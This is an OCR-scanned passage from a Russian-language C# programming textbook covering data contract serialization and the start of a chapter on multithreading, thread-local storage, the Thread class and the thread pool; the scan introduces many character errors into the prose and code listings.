Глава 16 свойство, обозначенное атрибутом [DataMember], создало элемент, со- держащий сериализованное представление значения этого члена. Кста- ти, атрибуты позволяют указать другие имена для использования в вы- ходном документе. По умолчанию применяются типы и имена свойств, если вы не вы- брали что-то еще. Сериализация контрактов данных поддерживает другие форма- ты. Я могу изменить одну строку, чтобы переключиться на формат JavaScript Object Notation (JSON). Вместо использования типа DataContractSerializer я могу приме- нять тип DataContractJsonSerializer. Результаты (опять же отформатированные для удобства чтения) выглядят так: { "Friends”: [ ; "Friends":[], ) "Name":"Millhouse" }, { "Friends":(("Friends":[],"Name":"Wiggle Puppy"}], "Name":"Ralph" } ], "Name":"Bart" I Это та же структура данных, но на сей раз в формате JSON. Обра- тите внимание, в обоих форматах сериализация довольно прямолиней- ная — она не содержит никаких указателей на то, что данные появились из источника, связанного с .NET. Я уже упоминал, что механизм сериализации контрактов данньп по умолчанию не поддерживает циклические ссылки. Вы можете заста- вить его рассматривать такой случай, изменив атрибут класса Person № [DataContract (IsReference = TRUE) ]. Это приводит к созданию немного более запутанного XML-кода: 816
Файлы и потоки <Person z:Id="il" xmlns=’’http: //schemas. datacontract. org/2004/07/” xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z= "http://schemas.microsoft.com/2003/10/Serialization/"> <Friends> <Person z:Id="i2"> <Friends> <Person z:Ref="il"/> </Friends> <Name>Millhouse</Name> </Person> <Person z:Id="i3"> <Friends> <Person z:Ref="il"/> <Person z:Id="i4"> <Friends/> <Name>Wiggle Puppy</Name> </Person> </Friends> <Name>Ralph</Name> </Person> </Friends> <Name>Bart</Name> </Person> Если вы попытаетесь использовать сериализатор JSON, будет сгене- рирована ошибка, поскольку спецификация JSON не определяет способ представить несколько ссылок на один объект в JSON. И это представ- ление XML не повсеместно поддерживается за пределами .NET. Так, на практике, сериализатор контракта данных лучше всего под- ходит для работы с ациклическими структурами данных.- Словари Сериализация контрактов данных может обрабатывать словари. Она сериализует их как коллекцию, где каждый элемент имеет.свойства Key и Value. Чтобы проиллюстрировать это, в листинге 16.25 показан простой класс, содержащий член с типом Dictionary. 817
Глава 16 ------------------------------------------------------------------1 Листинг 16.25. Класс, содержащий член с типом Dictionary 11 ’[DataContract] i public class Source i { [DataMember] public Dictionarycint, string> Items { get; set; } } Вот как выглядит экземпляр этого класса, имеющий несколько за- писей в своем словаре, если вы используете класс DataContractJsonSe- rializer: { "Items”:[{"Key”:1,"Value":"One”},{"Key":2,'’Value”:"Two”}] } Класс XinlSeializer Для полноты картины следует описать еще один механизм сериа- лизации. Сериализатор контрактов данных является частью WCF, нс WCF не был первой технологией .NET, поддерживающей технологик веб-служб, — он поставляется с .NET 3.0. До него существовал друго! механизм веб-служб (он по-прежнему доступен), который является ча- стью фреймворка ASP.NET. Он имел собственный механизм сериали- зации — класс XmlSerializer. В то время как сериализатор контракте! данных работает только с членами, явно аннотированными атрибутом [DataMember], класс XmlSerializer пытается сериализовать все общедо- ступные свойства и поля — как и в случае сериализатора CLR, нужне исключать элементы, а не включать их. Другое отличие заключается в том, что, как следует из названия, XmlSerializer предназначен для работы с XML. Он также связан с ХМЦ схемой, спецификацией W3C, популярной в течение некоторого време^ ни, но затем впавшей в немилость, потому что она относительно сложна и может затруднить развитие представлений данных. Кроме того, класс XmlSerializer не поддерживает работу со словарями. Так, хотя класс XmlSerializer работает хорошо, он, как правило, не является первым выбором среди инструментов сериализации. Резюме Класс Stream — абстракция, представляющая данные как последова- тельность байтов. Поток может поддерживать чтение, письмо или обе 818
Файлы и потоки операции, а также поддерживать поиск по произвольному смещению и простой последовательный доступ. Классы TextReader и Textwriter обеспечивают строго последовательное чтение и запись символьных данных, абстрагируясь от кодировки символов. Эти типы могут ра- ботать на базе файлов, сетевого подключения или памяти, или же вы можете реализовать свои собственные версии данных абстрактных классов. Класс Filestream также предоставляет некоторые другие функ- ции доступа к файловой системе, но для полного контроля у нас также имеются классы File и Directory. Когда байтов и строк недостаточно, фреймворк .NET предлагает различные механизмы сериализации, спо- собные автоматизировать преобразование состояния объекта в памяти и представления, которое может быть записано на диск или передано по сети или записано в любой другой поток. Это представление в дальней- шем снова может превратиться в объект того же типа и с эквивалентным состоянием.
Глава 17 МНОГОПОТОЧНОСТЬ Многопоточность позволяет приложению выполнять несколы фрагментов кода одновременно. Существуют две основные причш использования многопоточности. Во-первых, многопоточность позв ляет использовать возможности параллельной обработки — многояде ные процессоры уже повсеместно распространены, и, чтобы подноси реализовать их потенциал, необходимо обеспечить работой все яд процессора. Другая типичная причина для написания многопоточно кода — предотвращение зависания процесса во время медленной ол рации вроде чтения с диска. Многопоточность — не единственный в риант решения второй проблемы, иногда лучше применять асинхро ный подход. Однако асинхронные API-интерфейсы часто использу! несколько потоков, так что в любом случае важно иметь представлен! о принципах поточной обработки в .NET. В C# 5.0 появились новые элементы языка для поддержки аси хронной работы. Асинхронное выполнение не всегда подразумева многопоточность, но на практике эти два понятия часто связаны, пот му в данной главе я расскажу о некоторых моделях асинхронного пр граммирования. Однако ведущая тема главы — основы поточной обр ботки. Поддержка асинхронного кода на уровне языка будет описа в главе 18. Потоки В Windows каждый процесс может содержать несколько програм! ных потоков. У каждого программного потока свой стек, и операцио ная система создает иллюзию того, что каждый поток получает цель аппаратный поток процессора (см. следующую врезку «Процессор ядра и аппаратные потоки»). В операционной системе можно созда намного больше программных потоков, чем количество аппаратных п токов, предоставляемых вашим компьютером, так как ОС виртуализу процессор, перёключая контекст с одного потока на другой. Компьюк
Многопоточность на котором я пишу эти строки, обладает всего четырьмя аппаратными потоками, и в то же время различные процессы, работающие на машине, сейчас используют 1402 активных потока. Процессоры, ядра и аппаратные потоки Аппаратный поток — это отдельная часть оборудования, выполняю- щая код. Десять лет назад в отдельно взятом процессоре был всего один аппаратный поток, а большее число таких потоков встречалось лишь в компьютерах с несколькими физически независимыми про- цессорами, подключенными к отдельным портам на материнской плате. Однако два новшества, а именно многоядерные процессо- ры и гиперпоточность, усложнили взаимодействие между потоками и аппаратной частью. Многоядерный процессор — это фактически несколько процессо- ров на одной кремниевой схеме. Другими словами, если вы снимете крышку компьютера и посчитаете, сколько у вас процессорных ми- кросхем, то не обязательно получите число аппаратных потоков. Но если посмотреть на процессор под хорошим микроскопом, то мож- но увидеть два и более процессора на одном чипе. Гиперпоточность, также именуемая одновременная многопоточ- ность (SMT), все усложняет еще больше. На многопоточном ядре определенные элементы процессора дублируются (иногда копий еще больше, однако чаще всего используется именно дублирова- ние). В таком случае лишь одна часть процессора может проводить, скажем, деление с плавающей точкой, но при этом существуют два комплекта регистров и логики для набора команд. Среди регистров есть счетчик команд, следящий за выполнением и текущим рабо- чим состоянием кода, так что два набора регистров дают возмож- ность одновременно запускать два фрагмента кода на одном ядре. Иными словами, гиперпоточность позволяет одному ядру иметь два аппаратных потока. Два контекста выполнения вынуждены совмест- но использовать ресурсы — они не могут одновременно выполнять деление с плавающей точкой, так как этим занимается лишь одна часть процессора. Но, если одному из аппаратных потоков нужно делить, а другой занят перемножением чисел, им, как правило, уда- ется делать это параллельно, поскольку данные операции выполня- ют разные части ядра. Гиперпоточность позволяет одновременно задействовать больше частей процессора. Она не обеспечивает той же пропускной способности, что и два полноценных ядра (ведь два аппаратных потока на одном ядре будут выполнять одну и ту же опе- 821
Глава 17 рацию, и одному из них придется ждать, пока другой закончит), но может «выжать» из каждого ядра большую пропускную способность, чем было бы возможно в иных условиях. Так что обычно количество доступных аппаратных потоков равняет- ся числу ядер, помноженному на количество гиперпоточных испол- няющих единиц на ядро. Например, в процессоре Intel Core I7-3930K шесть физических ядер с двумя логическими процессорами на каж- дом, всего 12 аппаратных потоков. В среде выполнения CLR есть собственная система представления потоков поверх потоков операционной системы. Во многих случаях они будут связаны напрямую — пишете ли вы консольное, системное или веб- приложение, каждый .NET объект Thread соответствует конкретному по- току базовой ОС. При этом ошибочно думать, что подобная связь есть всегда — CLR устроена так, что поток .NET может передаваться с одного потока ОС на другой. Это случается только в приложениях, использую- щих неуправляемые API-интерфейсы среды CLR, что позволяет настраи- вать зависимость между CLR и ее контейнерным процессом. На практи- ке, поток CLR обычно соответствует потоку ОС, но не стоит чрезмерно на это полагаться; код, опирающийся на такое соответствие, может дать сбой в приложении, задействующем пользовательский CLR-хост. На практи- ке, если вам не нужно взаимодействовать с неуправляемым кодом, то нет необходимости выяснять, в каком потоке ОС вы работаете. Я скоро перейду к описанию класса Thread, но перед написанием многопоточного кода вам нужно понять основные правила управления состояниями (например, данных, содержащихся в полях и других пере- менных), перед тем как работать с потоками. Потоки, переменные и разделяемые состояния Каждому потоку среды CLR выделяются различные потоковые! ресурсы, такие как стек вызовов (содержит аргументы и некоторые локальные переменные). У каждого потока свой стек, поэтому локаль- ные переменные стека будут локальными только в данном потоке. При каждом вызове метода создается новый набор локальных переменных Это необходимо для использования рекурсии, однако важно и в много- поточном коде, так как работать с данными, доступными нескольким потокам, значительно сложнее — особенно если данные меняются в про- 822
Многопоточность цессе. Управление доступом к совместно используемым данным — зада- ча нетривиальная. Я опишу некоторые приемы в секции «Синхрониза- ция», но по возможности лучше вообще избегать этой проблемы. Например, рассмотрим веб-приложение. Активно используемым сайтам приходится обрабатывать запросы одновременно от множества пользователей, так что весьма вероятна ситуация, когда определенный фрагмент кода (например, код главной страницы сайта) выполняется одновременно в нескольких потоках — ASP.NET использует многопо- точность чтобы создавать одну и ту же логическую страницу для разных пользователей. Обычно отсылается не совсем одна и та же страница, так как страницы зачастую создаются под конкретного пользователя, так что если 1000 пользователей запросят главную страницу, приложение 1000 раз запустит код для генерации этой страницы. ASP.NET позво- ляет коду оперировать множеством объектов, но большинство из них будет относиться к конкретному запросу. То есть если код использует только собственные объекты и локальные переменные, каждый поток будет абсолютно независим от других. С совместно используемыми состояниями (например, объектами, видимыми нескольким потокам, чаще всего через статическое поле или свойство) все усложняемся, од- нако с локальными переменными обычно все очевидно. Почему «обычно»? Проблемы появляются при использовании лямбда-выражений или анонимных делегатов, потому что они позволя- ют создать переменную в собственном методе и применить ее во вну- треннем методе. В результате эта переменная доступна в двух методах, а в условиях многопоточности есть вероятность, что эти методы будут исполняться одновременно. С точки зрения среды CLR эта переменная уже не локальна — теперь она поле в классе, порожденном компилято- ром. Совместное использование локальной переменной в нескольких методах уже не гарантирует полной локальности, поэтому работать с ними нужно так же осторожно, как и с другими совместно используе- мыми переменными, такими как статические свойства и поля. Еще один важный нюанс работы в многопоточных средах — разница между переменной и объектом, на которую она ссылается. Разумеется, такая проблема возникает лишь со ссылочными типами. Хотя локальная переменная доступна только объявившему ее методу, на соответствую- щий ей объект может ссылаться другая переменная. Конечно, если соз- давать объект в самом методе и не передавать его более широкому кругу получателей, то беспокоиться не о чем. StringBuilder в листинге 17.1 ис- пользуется только в том методе, где был объявлен. 823
Глава 17 Листинг 17-1 - Объект доступен только методу, в котором был объявлен public static string FormatDictionary<TKey, TValue>( IDictionaryCTKey, TValue> input) var sb = new StringBuilder(); foreach (var item in input) { sb.AppendFormat("{0}: {1}", sb.AppendLine(); } return sb.ToStringO ; item.Key, item.Value); С таким кодом не нужно следить за тем, чтобы другие потоки не попы- тались изменить StringBuilder. Внутренних методов нет, поэтому перемен- ная sb однозначно локальна, и только она одна ссылается на StringBuilder. Здесь мы полагаемся на то, что StringBuilder не копирует втихомолку свою ссылку this куда-либо, где другие потоки могут ее увидеть. А как же аргумент input? Он тоже локален, но содержит все ссылки, переданные методу FormatDictionary. Рассматривая листинг 17.1 в отры- ве от остального кода, невозможно определить, используется ли пере- данный ему словарь другими потоками. Код, вызывающий этот метод, может создать единственный словарь, а затем передать его двум пото- кам, один из которых меняет данные словаря, а другой вызывает метод FormatDictionary. В этом случае неизбежны ошибки: большинство реали- заций словаря не поддерживают одновременное изменение и чтение раз- ными потоками. И даже если вы работаете с коллекцией данных, создан- ной специально для совместного использования, коллекцию чаще всего нельзя менять во время обхода ее членов (например, циклом foreach). “ Может сложиться впечатление, будто любая коллекция, соз-( 4 ч данная для одновременного использования разными потоками Д?*' (иными словами, потокобезопасная коллекция), должна по- зволять обходить себя одному потоку, пока другой изменяет ее данные. Если этого делать нельзя, в чем же заключается пото- кобезопасность? В действительности в подобном случае основ- ная разница между потокобезопасной и непотокобезопасной коллекцией заключается в предсказуемости: в этой ситуации потокобезопасная коллекция выдаст исключение, непотокобе- зопасная же не гарантирует никакой конкретной реакции. Воз- можны как сбой, так и странные результаты вроде несколько 824
Многопоточность проходов через одну и ту же запись коллекции. В общем, может случиться что угодно, потому что коллекция не предназначена для такого использования. Порой потокобезопасность означа- ет лишь то, что ошибки будут четко описаны и предсказуемы. Листинг 17.1 сам по себе не может гарантировать безопасное исполь- зование аргумента input, все зависит от вызывающего его метода. Про- блемы параллельного доступа следует решать на более высоком уровне. Термин потокобезопасность может сбить с толку, так как подразумевает нечто в принципе невозможное. Начинающий разработчики часто по- падают в ловушку: они думают, что использование потокобезопасных объектов позволяет вообще не задумываться о проблемах работы с пото- ками. Обычно такой подход неверен, так как хотя отдельные потоки и со- храняют собственную цельность, нет гарантии, что состояние приложе- ния в целом останется логически связным. Для обеспечения цельности системам с совместным использованием данных необходима стратегия проектирования «сверху вниз». Именно поэтому в системах управления базами данных часто применяются транзакции — наборы операций, ис- пользуемые как атомарные единицы. Это означает, что если хотя бы одна операция в составе транзакции выполнена не будет, то вся транзакция отменяется. Такая атомарная группировка критически важна, так как именно она позволяет обеспечить согласованность состояния в рамках всей системы. В случае с листингом 17.1 это означает, что именно код, вызывающий FormatDictionary, должен гарантировать, что словарь мож- но будет свободно использовать на протяжении всей работы метода. | _ Хотя вызывающий код и должен гарантировать, что любые передаваемые им объекты безопасны для использования на I---- протяжении всего вызова метода, нельзя рассчитывать на то, что вы запросто сможете удержать ссылки на ваши аргумен- ты для применения в будущем. При использовании встроен- ных методов это легко сделать случайно — если вложенный метод ссылается на аргументы своего контейнерного мето- да, но продолжает работать и после того, как контейнерный метод вернется, мы уже не можем быть уверены, что доступ к объектам, на которые ссылаются эти аргументы, остался безопасным. Если это требуется делать, то необходимо доку- ментировать, как вы планируете использовать объекты. Также понадобится проверить любой код, вызывающий данный ме- тод, — чтобы убедиться, что такое предполагаемое использо- вание действительно безопасно. 825
Глава 17 Локальная память потоков Иногда бывает полезно поддерживать в сравнительно широкой области применения (а не в одном методе) локальное состояние, дей- ствующее в пределах потока. За это отвечают различные элементы .NET Framework. Например, пространство имен System. Transactions опреде- ляет API для использования транзакций с базами данных, очередями сообщений и другими диспетчерами ресурсов, поддерживающих тран- закции. Этот API предоставляет неявную модель, в которой можно за- пустить внешнюю транзакцию {ambient transaction). Любые операции поддерживающие такой механизм, будут привлекаться к работе с ним При этом отпадает необходимость передавать какие-либо явные аргу- менты, относящиеся к транзакции. Если вы предпочитаете использовал явную модель — она в данном случае также поддерживается. Статиче- ское свойство Current класса Transaction возвращает внешнюю транзак- цию для актуального потока либо возвращает null, если данный пото1 в настоящий момент не выполняет внешнюю транзакцию. Для поддержки такого «попоточного состояния» в CLR предоставь ляется локальная память потоков (thread-local storage). Существую! два основных способа ее использования. Простейший из них — анно- тировать поле при помощи ThreadStaticAttribute. Это один из атрибу- тов, предназначенный именно для обработки в CLR (я не упомянул еп в главе 15, так как более целесообразно обсудить этот атрибут здесь) В листинге 17.2 показано, как его использовать. Листинг 17.2. Атрибут ThreadStaticAttribute public static class PerThreadCount { [Threadstatic] private static int _count; public static int Count { get { return _count; ) ) public static void Increment() { _count += 1; ) ) В этом классе определяется единственное статическое поле, назы ваемое count, но атрибут требует от CLR предоставить каждому поток собственный экземпляр данного поля. Итак, если поток начинает ис 826
М ногопоточность пользовать члены этого класса, то в свойстве Count сообщается, сколько раз был вызван метод Increment. Но если запускается второй поток, ко- торый затем получает свойство Count,.он вернет 0 — независимо от того, каким было последнее значение, возвращенное в свойстве Count первому потоку. Если затем этот второй поток использует Increment, он обнару- жит, что Count возвращает количество вызовов Increment, обращенных именно к этому потоку, — независимо от того, чем в данное время мог- ли заниматься другие потоки. CLR и далее будет создавать новые эк- земпляры поля всякий раз, когда новый поток попробует использовать его. Если вы использовали тот неуправляемый API, что предлагается в Windows для локальной памяти потоков, то могли задуматься — есть ли какое-то предельное количество полей, которые можно аннотировать при помощи [Threadstatic]. Предела нет — CLR позволяет делать такие аннотации до тех пор, пока есть доступная память. Хотя здесь мы использовали множество экземпляров одного и того же поля, CLR не создает никаких дополнительных объ- 4?'ектов. На самом деле, все сущности из листинга 17.2 стати- ческие, поэтому новые экземпляры типа не создаются. Соз- даются лишь дополнительные места для хранения. Каждый поток получает свою долю локальной памяти на каждое ис- пользуемое им поле [Threadstatic]. С атрибутом ThreadStaticAttribute связаны два ограничения. Во- первых, как понятно из названия, его можно использовать только со ста- тическими (static) полями. Отмечу, что контейнерный класс в листин- ге 17.2 также является статическим, но данное условие не обязательно. Это немного неудобно, поскольку в определенных случаях вам может понадобиться состояние, локальное и для конкретного потока, и для конкретного экземпляра объекта. В такой ситуации объект, который могли бы использовать несколько потоков, мог бы и не синхронизиро- вать применение своих полей. Во-вторых, требуется проявлять извест- ную осторожность при инициализации подобного поля. | __ Не используйте инициализатор поля при работе с полем [Threadstatic], так как статические инициализаторы гаранти- I---- рованно срабатывают лишь однажды. Если присвоить такому полю инициализатор, то любой поток, который попытается инициировать статическую инициализацию класса, увидит 827
Глава 17 правильно инициализированное значение. Но все послед щие потоки увидят лишь выдаваемый по умолчанию 0 ( эквивалентное значение). То же происходит, если вы v циализируете поле из статического конструктора, но с та сценарием программисты прокалываются реже. Тот факт, тело конструктора срабатывает лишь однажды, просто бс очевиден. Для решения обеих этих проблем в .NET 4.0 появи класс ThreadLocal<T>, представляющий собой альтернативу ThreadStaticAttribute (который использовался уже довольно дав1 Можно сохранить ссылку на экземпляр такого класса либо в ст< ческом поле, либо в поле экземпляра, поскольку именно сам обт ThreadLocal<T> обеспечивает локальность потоков — а не какое-л поле или переменная, которые могут ссылаться на объект. В лист ге 17.3 эта черта используется для создания обертки для делегата. Та обертка гарантирует, что в любой момент времени в делегате может рабатываться только один вызов на отдельно взятый поток. Листинг 17.3. Использование класса ThreadLocal<T> class Notifier { private readonly ThreadLocal<bool> _isCallback!nProgress = new ThreadLocal<bool>(); private Action -Callback; public Notifier(Action callback) { -Callback = callback; ) public void Notify() I if (-isCallbacklnProgress.Value) { throw new InvalidOperationException( ’’Notification already in progress on this thread"); } try { -isCallbaclTlnProgress. Value = true; callback();
Многопоточность I finally { _isCallback!nProgress.Value = false;,—„ I 1 ) Если метод, вызываемый обратно Notify, попытается сделать дру- гой вызов к Notify, такая попытка будет блокирована на этапе рекурсии, и мы получим исключение. Тем не менее, поскольку в этом коде исполь- зуется ThreadLocal<bool> (чтобы отслеживать, выполняется ли вызов), здесь допустимы одновременные вызовы при условии, что каждый из этих вызовов совершается в отдельном потоке. Значение для актуального потока, содержащееся в ThreadLocal<T>, мы устанавливаем и получаем в свойстве Value. Конструктор пере- гружен, и вы можете передать функцию Func<T>, которая будет вызы- ваться обратно всякий раз, когда новый поток станет использовать это значение. Так снимается проблема строго однократной инициализации, возникавшая у нас с полями [Threadstatic]. Инициализация в данном случае ленивая — обратный вызов не будет осуществляться при кис- лом запуске нового потока. ThreadLocal<T> инициирует обратный вызов лишь при первой попытке нового потока использовать это значение. Как и в случае с [Threadstatic], вы можете создать практически неогра- ниченное количество объектов ThreadLocal<T>. ThreadLocal<T> также обеспечивает некоторую поддержку меж- уточной коммуникации. Если вы передадите аргумент, равный true, одному из перегруженных вариантов конструктора, принимающему бу- левское значение bool, то объект будет поддерживать коллекцию всех созданных им значений, которая окажется доступна по его свойству •Values. [Threadstatic] не позволяет узнать, какие именно значения для конкретного поля увидят другие потоки — вот и еще одна полезная черта, уникальная для ThreadLocal<T>. Правда, такая «услуга» предо- ставляется лишь в случае, если вы специально запросите .ее при кон- струировании объекта, так как она требует некоторой дополнительной вспомогательной работы. Есть и третий вариант, но он редко оказывается полезен, и я упомя- ну его здесь лишь для полноты картины. Класс Thread предоставляет статические методы GetData и SetData. Они предлагают модель лбкаль- 829
Глава 17 ной памяти потоков, более похожую на базовый аналогичный API, пр доставляемый в Windows. Прежде чем использовать ячейку памяти, нужно самостоятельно выделить. Таким образом, это наименее удобнь вариант, который к тому же довольно медленный. Поэтому в совреме ных версиях .NET прибегать к нему нецелесообразно. Независимо от того, каким именно механизмом вы воспользу тесь; есть один аспект локальной памяти потоков, который требует программиста особой осторожности. Если вы создаете новые объею для каждого потока — как с обратным вызовом инициализации д. ThreadLocal<T>, так и с каким-то кодом для инициализации вручну (с применением [Threadstatic]) — учтите, что за жизненный цикл пр ложение может создать очень много потоков, особенно если вы пол зуетесь пулом потоков. О том, что такое пул потоков, мы подробно п говорим ниже. Если попоточные объекты, создаваемые вами, окажут ресурсозатратными, это может приводить к проблемам. Более того, ес у вас есть какие-либо расходуемые попоточные ресурсы, вы можете и i узнать, когда завершится поток. Пул потоков попросту регулярно созд ет и уничтожает потоки, не информируя вас об этих операциях. И последнее замечание: осторожно пользуйтесь локальной память потоков (или любым основанным на ней механизмом), если планируй те пользоваться асинхронными функциями языка, которые будут ра смотрены в главе 18. В данном случае не исключено, что при обрабоп всего одного вызова метода будет использоваться множество раэлш ных потоков. Поэтому такой метод категорически не рекомендуете применять с внешними транзакциями, либо с любым другим механк мом, основанным на локальном состоянии потока. Многие возможм сти .NET Framework, которые, казалось бы, должны использовать .к кальную память потоков (например, статическое свойство HttpContext Current из фреймворка ASP.NET, возвращающее объект, относящим к HTTP-запросу, обрабатываемому актуальным потоком), на сама деле ассоциируют информацию с так называемым контекстом испа нения (execution context). Контекст исполнения отличается больше гибкостью, так как при необходимости позволяет переключаться меад потоками. О нем мы поговорим позже. Если потребуется решать какие-либо из упомянутых здесь пробна нам в первукм2чередь потребуется много потоков. Существуют четы, основных способа наладить использование многопоточности. В нерва случае ваш код работает во фреймворке, где по вашей инициативе coi
Многопоточность дается множество потоков, — таков, например, фреймворк ASP.NET. В другом случае речь идет об использовании некоторых API, связанных с обратными вызовами. Данный случай предполагает несколько рас- пространенных шаблонов, я опишу их более подробно ниже, в разделах «Задачи» и «Другие асинхронные шаблоны». Тем не менее есть еще два гораздо более очевидных случая — явная работа с потоками или исполь- зование пула потоков CLR. Класс Thread Как было указано выше, класс Thread (определяемый в пространстве имен System.Threading) является представлением потока CLR. Можно получить ссылку на объект Thread, представляющий тот поток, который выполняет ваш код, при помощи свойства Thread.CurrentThread. Но если вы планируете пользоваться многопоточностью, то можете просто сконструировать новый объект Thread. Если вы пишете приложение с пользовательским интерфей- * сом в стиле Windows 8 на XAML и С#, то лучше всего взять 4*5версию .NET Core Profile, где отсутствует класс Thread. Чтобы гарантировать уверенный отклик всех приложений даже на планшетных системах с очень непритязательными аппарат- ными характеристиками, Microsoft приняла решение очень жестко контролировать использование потоков в приложе- нии. Итак, из двух распространенных в .NET способов много- поточной обработки в такой среде доступен лишь один: с при- менением пула потоков. Разумеется, не все приложения, работающие в Windows 8, подвергаются таким ограничениям. Так, локальное WPF-приложение для ПК может использовать все возможности .NET Framework. Новому потоку необходимо знать, какой код он должен выполнить при запуске. Поэтому вы должны предоставить делегат, а новый поток ' будет вызывать метод, на который ссылается этот делегат. Поток будет работать до тех пор, пока этот метод не вернется нормально либо не разрешит исключению проделать весь путь к вершине стека (либо по-* ток будет принудительно завершен любым из механизмов Win32, при- юти содержащих их процессов), ^листинге 17.4 создается три потока для одновременной загрузки трех |еб-страниц. 831
Глава 17 Листинг 17.4. Создание потоков class Program { private static void Main(string!] args) { var tl = new Thread(MyThreadEntryPoint); var t2 = new Thread(MyThreadEntryPoint); var t3 = new Thread(MyThreadEntryPoint); tl.Start("http://www.interact-sw.co.uk/iangblog/"); t2.Start("http://oreilly.com/"); t3.Start ( "http://msdn.microsoft.com/en-us/vstudio/hh388566"); } private static void MyThreadEntryPoint(object arg) { string url = (string) arg; using (var w = new WebClientO) { Console.WriteLine("Downloading " + url); string page = w.DownloadString(url); Console.WriteLine("Downloaded {0}, length {1}"/ url, page.Length); } } } Конструктор Thread перегружен и принимает делегаты двух тип Делегат Threadstart требует метода, не принимающего аргументов и возвращающего значения, но в листинге 17.4 метод MyThreadEntryPo. принимает единственный аргумент object, отображаемый на деле второго типа, ParameterizedThreadStart. Этот делегат позволяет пе дать по аргументу каждому потоку. Такая возможность полезна, если применяете один и тот же метод к некоторым разным потокам, какв1 шем примере. Поток не начнет работать, пока вы не вызовете Start. Ес же вы используете делегат типа ParameterizedThreadStart, то долж вызвать перегруженный вариант, принимающий единственный ар мент object. Я делаю это, чтобы организовать в каждом потокезагру- данных с отдельного URL. Конструктор Thread позволяет использовать еще два вида перегруз при каждом из которых после аргумента делегата добавляется аргумс 832
Многопоточность int. int указывает размер стека для потока. Windows требует, чтобы стек занимал в памяти непрерывную область, поэтому необходимо заблаго- временно выделить адресное пространство для етека. Если стек израс- ходует пространство, CLR выдаст исключение StackOverflowException. Как правило, такое происходит лишь в случаях, когда из-за бага возни- кает бесконечная рекурсия. Без этого аргумента CLR будет использовать для процесса задан- ный по умолчанию размер стека, указанный в заголовке исполняемого файла. Компилятор C# по умолчанию делает это значение равным 1 Мб и не предоставляет способа задать иной размер. Но вы можете изменить исполняемый файл уже после работы компилятора, воспользовавшись специальным инструментом — например, editbin из SDK. В общем, ме- нять это значение обычно не приходится. Если у вас есть рекурсивный код, порождающий очень глубокий стек, то его, возможно, потребуется запустить в потоке со сравнительно большим стеком. И наоборот — если вы создаете огромное количество потоков, то вам может потребоваться уменьшить размер стека ради экономии ресурсов, так как стандартный размер в 1 Мб обычно значительно превышает объем, необходимый на практике. Тем не менее в Windows лучше воздержаться от создания множества потоков. Итак, в большинстве случаев мы можем удовлетво- риться конструкторами, использующими заданный по умолчанию раз- мер стека. Обратите внимание: метод Main в листинге 17.4 возвращается сразу же после запуска трех потоков. Несмотря на это, приложение продол- жает работать — до тех пор, пока не завершатся все потоки. CLR поддер- живает «жизнь» процесса, пока не закончат работу все приоритетные потоки (foreground threads). Приоритетный поток здесь — это любой поток, который не был явно обозначен как фоновый. Если вы хотите предотвратить поддержку ра- боты процесса со стороны конкретного потока, установите свойство IsBackground этого потока в значение true. Это означает, что фоновый поток может быть завершен прямо во время выполнения той или иной задачи, поэтому нужно внимательно выбирать работу, которую вы со- бираетесь поручать фоновым потокам. Непосредственное создание потоков — не единственный возмож- ный вариант. Как было указано выше, это вообще не вариант, если вы используете версию .NET Core Profile в Windows 8. Распространенная альтернатива — применение пула потоков. 833
Глава 17 Пул потоков Создание и завершение потоков в Windows — это сравнительно 2 тратная операция. Если вам требуется выполнить совсем небольшую [ боту (например, выдать веб-страницу или осуществить иную подобн] краткую операцию), то не стоит создавать для этого отдельный поп а потом завершать его, когда работа будет закончена. Данная стратег сопряжена с двумя серьезными проблемами: во-первых, вы можете: тратить на запуск и остановку потока больше ресурсов, чем на саму г лезную работу; во-вторых, если вы продолжите создавать новые пото по мере поступления новых задач, то система может не выдержать t грузки. При дополнительном создании потоков под высокой нагрузк пропускная способность лишь ухудшается. Во избежание этих проблем CLR предоставляет пул потоков. Мо но предоставить делегат, который CLR вызовет в потоке из пула. П необходимости среда создаст новый поток, но по возможности она nej использует другой поток, созданный ранее. Заданная вами работа .v жет быть поставлена в очередь на ожидание, если все потоки, созданн на данный момент, еще заняты. После того как ваш метод выполнит! CLR не завершит поток в обычном порядке; поток останется в пуле,; жидаясь, пока другие рабочие элементы амортизируют затраты на с( дание потока, распределив их между собой. Пул потоков всегда создает фоновые потоки. Поэтому ес пул потоков чем-то занят в момент, когда завершает рабе последний из приоритетных потоков в вашем процессе, работа не завершится, поскольку в этот же момент будут; вершены и все фоновые потоки. Если необходимо гарантии вать завершение работы, которая велась в пуле потоков, то должны этого дождаться и лишь потом позволить заверши ся всем приоритетным потокам. Запуск работы в пуле потоков с использованием класса Task Как правило, пул потоков используется через класс Task. Он в: дит в состав библиотеки для решения параллельных задач (Task Рага! Library, TPL) — о ней мы подробнее поговорим в разделе «Задачи». I принцип использования этой библиотеки очень прост, как показа в листинге 17.5. 834
Многопоточность Листинг 17.5. Запуск кода в пуле потоков с использованием класса Task Task. Factory.StartNew(MyThreadEntryPoint, "http://oreilly.com/"); Этот код ставит метод MyThreadEntryPoint (из листинга 17.4) в оче- редь на выполнение в пуле потоков. Если поток доступен, метод начнет работу немедленно, а если нет — он будет ждать в очереди до тех пор, пока один из потоков не освободится. Это может произойти либо по- тому, что какая-то текущая работа завершится, либо потому, что будет решено добавить в пул новый поток. В листинге 17.5 используется перегруженный вариант StartNew, при- нимающий два аргумента: делегат Action<obj ect> и аргумент obj ect, пере- даваемый целевому методу делегата. Я воспользовался таким вариантом, поскольку он позволяет мне вызвать тот же метод, что и в листинге 17.4, но более распространенная практика — передавать информацию задаче при помощи вложенных методов. Так я мог бы избежать в листинге 17.4 следующей проблемы: если делегат ParameterizedThreadStart вынудит меня принять аргумент object, то мне придется привести аргумент обрат- но к string. В листинге 17.6 решается та же базовая задача, но метод, осу- ществляющий загрузку, может иметь именно ту сигнатуру, которая ему требуется. Такой же фокус я, конечно, мог бы выполнить и с Thread, но эта практика более распространена при работе с Task. Я также изменил его название, так как он больше не является входной точкой для потока. Листинг 17.5. Запуск задачи при помощи лямбда-выражения private static void DoWorkQ Task.Factory.StartNew(() => Download("http://oreilly.com/")); } private static void Download(string uri) ( using (var w = new WebClient()) { Console.WriteLine("Downloading " + uri); string page = w.Downloadstring(uri); Console.WriteLine("Downloaded {0}, length {1}", uri, page.Length); } } 835
